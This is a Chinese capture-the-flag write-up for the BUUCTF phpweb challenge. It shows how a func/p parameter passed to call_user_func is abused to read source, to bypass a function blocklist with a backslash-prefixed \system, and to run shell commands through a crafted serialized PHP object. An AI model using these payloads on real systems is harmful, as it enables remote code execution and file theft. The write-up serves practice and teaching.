首页 > 编程语言 >buuctf [网鼎杯 2020 朱雀组]phpweb

buuctf [网鼎杯 2020 朱雀组]phpweb

时间:2023-05-14 18:02:37浏览次数:43  
标签:index buuctf system flag 2020 func timezone 网鼎杯 php

首先访问网站,发现警告,说的是后端时区设置不对,这引导我们看看index源码是怎么查询时间的

Warning: date(): It is not safe to rely on the system's timezone settings. You are required to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to select your timezone. in /var/www/html/index.php on line 24

bp抓包,发现post了两个参数func和p,这其实是传给后端调用php的date函数打印当前时间
image

那么就可以利用这个方法调用别的函数了,比如使用file_get_contents(index.php)查看index.php源码

func=file_get_contents&p=index.php

index.php源码可以看到对输入的func进行了过滤,system等很多函数不让用
image

尝试在system前面加一个\来绕过in_array()的匹配,而实际执行时不受影响。比如构造func=\system&p=find / -name *flag*直接来搜flag。

由于反序列化unserialize()没被过滤,所以尝试反序列化生成Test对象,由于其析构函数__destruct()里面没有过滤,所以调用即可

<?php
function gettime($func, $p) {
    $result = call_user_func($func, $p);
    $a= gettype($result);
    if ($a == "string") {
        return $result;
    } else {return "";}
}
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$test = new Test();
$test->func = 'system';
$test->p='find / -name flag*';
var_dump(serialize($test));
?>

post请求

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}

发现flag文件位置
image

func=\system&p=cat /tmp/flagoefiu4r93 或者 func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}都可返回flag
image

标签:index,buuctf,system,flag,2020,func,timezone,网鼎杯,php
From: https://www.cnblogs.com/nemuzuki/p/17399758.html

相关文章

  • [羊城杯 2020]easyre
    查壳:64位,没什么信息,进IDA:能看到有三个加密,都通过的话就是正确的flag,也给了我们最后的密文"EmBmP5Pmn7QcPU4gLYKv5QcMmB3PWHcP5YkPq3=cT6QckkPckoRG"由于我们是要返回flag那么我倒回去看加密,先看encode_three:逻辑加密,再看encode_two:打乱字符串,再看encode_one:base64加密?......
  • [省选联考 2020 A 卷] 组合数问题
    组合数问题首先明确下降幂即\[k^{\underlinem}=\sum_{i=k-m+1}^ki\]不难发现有\[\binom{n}{k}k^{\underlinem}=\binom{n-m}{k-m}n^{\underlinem}\]我们尝试把普通幂多项式转为下降幂多项式\[\sum_{i=0}^ma_ik^i=\sum_{i=0}^mb_ik^{\underlinei}\]由第二类斯特林数的......
  • 2020年年终总结
    目录序言疫情到来学习娱乐个人公众号创建个人博客正式上线关于理财健康问题常回家看看2021年flag序言转眼间,2020年就这么过去了。2020对于每个人来说应该都是不平凡的一年,毕竟这一年太特殊了,一场席卷全世界的疫情来了。回想这一年,疫情改变了我们工作方式、生活方式。也让我们......
  • 6部10层电梯程序,采用以太网通信。 2020年西门子智
    6部10层电梯程序,采用以太网通信。2020年西门子智能制造挑战赛,6部10层电梯程序,包含各个功能模块。采用博途软件V14sp1编程,采用以太网通信,控制器选用PLCS7-1200。主要涉及逻辑控制、梯形图语言、置位复位。ID:4419662840760979......
  • 2020-05-19:催收核心业务是什么?
    如果不着急用钱,贷款最好别碰。当你没欠款的时候,诱导你欠款。当你欠款还不上的时候,会经常被骚扰,叫你还上。给我的感觉就是叫良家妇女入风尘,叫风尘女子从良。短信催收:快到期的时候,短信提示。电话催收:已经过期了,第一次电话,看是不是搞忘了。第N次电话,看怎么诱导优先还款。注意:欠钱的......
  • 2020-11-09:谈谈布隆过滤器和布谷鸟过滤器的相同点和不同点?
    福哥答案2020-11-09:相同点:都是过滤器。不同点:算法:布隆过滤器多个hash函数。布谷鸟过滤器用布谷鸟哈希算法。能否删除:布隆过滤器无法删除元素。布谷鸟过滤器可以删除元素,有误删可能。空间是否2的指数:布隆过滤器不需要2的指数。布谷鸟过滤器必须是2的指数。空间利用率:相同误判下......
  • 2020-05-21:es底层读写原理?倒排索引原理?
    es不熟悉,答案仅供参考:es写数据过程1、客户端选择一个node发送请求过去,这个node就是coordinatingnode(协调节点)2、coordinatingnode对document进行路由,将请求转发给对应的node(有primaryshard)3、实际的node上的primaryshard处理请求,然后将数据同步到replicanode。4、coord......
  • 2020-07-30-python-multithreading&multiprocessing
    注:参考Python多线程多进程那些事儿看这篇就够了~~进程、线程进程和线程简单举例:对于操作系统来说,一个任务就是一个进程(Process),比如打开一个浏览器就是启动一个浏览器进程。有些进程还不止同时干一件事,比如Word,它可以同时进行打字、拼写检查、打印等事情。在一个进程内部,要......
  • Codeforces [Hello 2020] 1284F New Year and Social Network(图论匹配推理+lct)
    https://codeforces.com/contest/1284/problem/F题目大意:有两个大小为n的树T1和T2.T2中的每条边(u,v)可以匹配T1中u到v路径上的所有边。求最大匹配,并给出方案。\(1<=n<=250000\)题解:首先你需要观察样例大胆猜想一定有完美匹配。考虑T1中的一个叶子x和它的父亲y。显然的是,从T2中随......
  • 【GDOI2020模拟02.05】生成树 (矩阵树扩展)
    Description:给定一张N个点,M条边的无向图,边有红、绿、蓝三种颜色,分别用1,2,3表示。求这张图有多少生成树,满足绿色边数量不超过x,蓝色边数量不超过y,答案对10^9+7取模。n<=40题解:考虑正常的用矩阵树求生成树个数的方法。基尔霍夫矩阵里的每个位置只是一个数,事实上可以把它扩......